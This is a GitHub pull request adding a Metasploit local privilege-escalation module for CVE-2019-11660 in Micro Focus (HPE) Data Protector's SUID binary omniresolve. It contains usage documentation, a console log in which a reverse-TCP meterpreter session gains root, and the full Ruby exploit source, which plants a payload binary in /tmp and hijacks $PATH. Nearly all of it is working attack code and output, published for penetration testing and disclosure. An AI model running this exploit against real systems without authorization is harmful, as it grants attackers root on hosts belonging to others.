Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Linux Micro Focus (HPE) Data Protector Privilege Escalation Module (CVE-2019-11660) #12382

Merged
merged 12 commits into from
Nov 1, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
## Description

This module exploits the trusted `$PATH` environment
variable of the SUID binary `omniresolve` in
Micro Focus (HPE) Data Protector A.10.40 and prior.

The `omniresolve` executable calls the `oracleasm` binary using
a relative path and the trusted `$PATH`, which allows an attacker
to execute a custom binary with `root` privileges.


## Vulnerable Application

This module has been successfully tested on:

* HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110
* Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118 on CentOS Linux release 7.6.1810 (Core)

The vulnerability has been patched in:
* Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125


## Verification Steps

1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/omniresolve_suid_priv_esc`
4. `set SESSION [SESSION]`
5. `check`
6. `run`
7. You should get a new *root* session


## Options

**SUID_PATH**

Path to `omniresolve` executable (default: `/opt/omni/lbin/omniresolve`)

**WritableDir**

A writable directory file system path. (default: `/tmp`)


## Scenario

### DP 10.40 build 118 on CentOS Linux release 7.6.1810 (Core)

```
msf5 > use exploit/linux/local/omniresolve_suid_priv_esc
msf5 exploit(linux/local/omniresolve_suid_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/omniresolve_suid_priv_esc) > check
[+] The target is vulnerable.
msf5 exploit(linux/local/omniresolve_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/local/komniresolve_suid_priv_esc) > set lhost 192.168.0.113
lhost => 192.168.0.113
msf5 exploit(linux/local/omniresolve_suid_priv_esc) > run

[*] Started reverse TCP handler on 192.168.0.113:4444
[*] Sending stage (3021284 bytes) to 192.168.0.107
[*] Meterpreter session 2 opened (192.168.0.113:4444 -> 192.168.0.107:54510) at 2019-10-01 13:19:45 -0400
[+] Deleted /tmp/oracleasm
[+] Deleted /tmp/gprjmiMGOr

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.0.107
OS : CentOS 7.6.1810 (Linux 3.10.0-957.21.2.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
134 changes: 134 additions & 0 deletions modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,134 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Micro Focus (HPE) Data Protector SUID Privilege Escalation',
'Description' => %q{
This module exploits the trusted `$PATH` environment
variable of the SUID binary `omniresolve` in
Micro Focus (HPE) Data Protector A.10.40 and prior.

The `omniresolve` executable calls the `oracleasm` binary using
a relative path and the trusted environment `$PATH`, which allows
an attacker to execute a custom binary with `root` privileges.

This module has been successfully tested on:
HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110, built on Thu Aug 11 14:52:38 2016;
Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118, built on Tue May 21 05:49:04 2019 on CentOS Linux release 7.6.1810 (Core)

The vulnerability has been patched in:
Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125, built on Mon Aug 19 19:22:20 2019
},
'License' => MSF_LICENSE,
'Author' =>
[
's7u55', # Discovery and Metasploit module
],
'DisclosureDate' => '2019-09-13',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
bcoles marked this conversation as resolved.
Show resolved Hide resolved
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[
'Micro Focus (HPE) Data Protector <= 10.40 build 118',
upper_version: Gem::Version.new('10.40')
]
],
'DefaultOptions' =>
{
'PrependSetgid' => true,
'PrependSetuid' => true
},
'References' =>
[
[ 'CVE', '2019-11660' ],
[ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03525630' ]
]
))

register_options(
[
OptString.new('SUID_PATH', [ true, 'Path to suid executable omniresolve', '/opt/omni/lbin/omniresolve' ])
])

register_advanced_options(
[
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def base_dir
datastore['WritableDir'].to_s
end

def suid_bin_path
datastore['SUID_PATH'].to_s
end

def check
unless setuid? suid_bin_path
vprint_error("#{suid_bin_path} executable is not setuid")
return CheckCode::Safe
end

info = cmd_exec("#{suid_bin_path} -ver").to_s
if info =~ /(?<=\w\.)(\d\d\.\d\d)(.*)(?<=build )(\d\d\d)/
version = '%.2f' % $1.to_f
build = $3.to_i
vprint_status("omniresolve version #{version} build #{build}")

unless Gem::Version.new(version) < target[:upper_version] ||
(Gem::Version.new(version) == target[:upper_version] && build <= 118)
return CheckCode::Safe
end

return CheckCode::Appears
s7u55 marked this conversation as resolved.
Show resolved Hide resolved
end

vprint_error("Could not parse omniresolve -ver output")
CheckCode::Detected
end

def exploit
if check == CheckCode::Safe
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
end

unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end

payload_path = File.join(base_dir, 'oracleasm')
register_file_for_cleanup(payload_path)
write_file(payload_path, generate_payload_exe)
chmod(payload_path)

trigger_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
register_file_for_cleanup(trigger_path)
write_file(trigger_path, "#{rand_text_alpha(5..10)}:#{rand_text_alpha(5..10)}")
cmd_exec("env PATH=\"#{base_dir}:$PATH\" #{suid_bin_path} -i #{trigger_path} & echo ")
end
end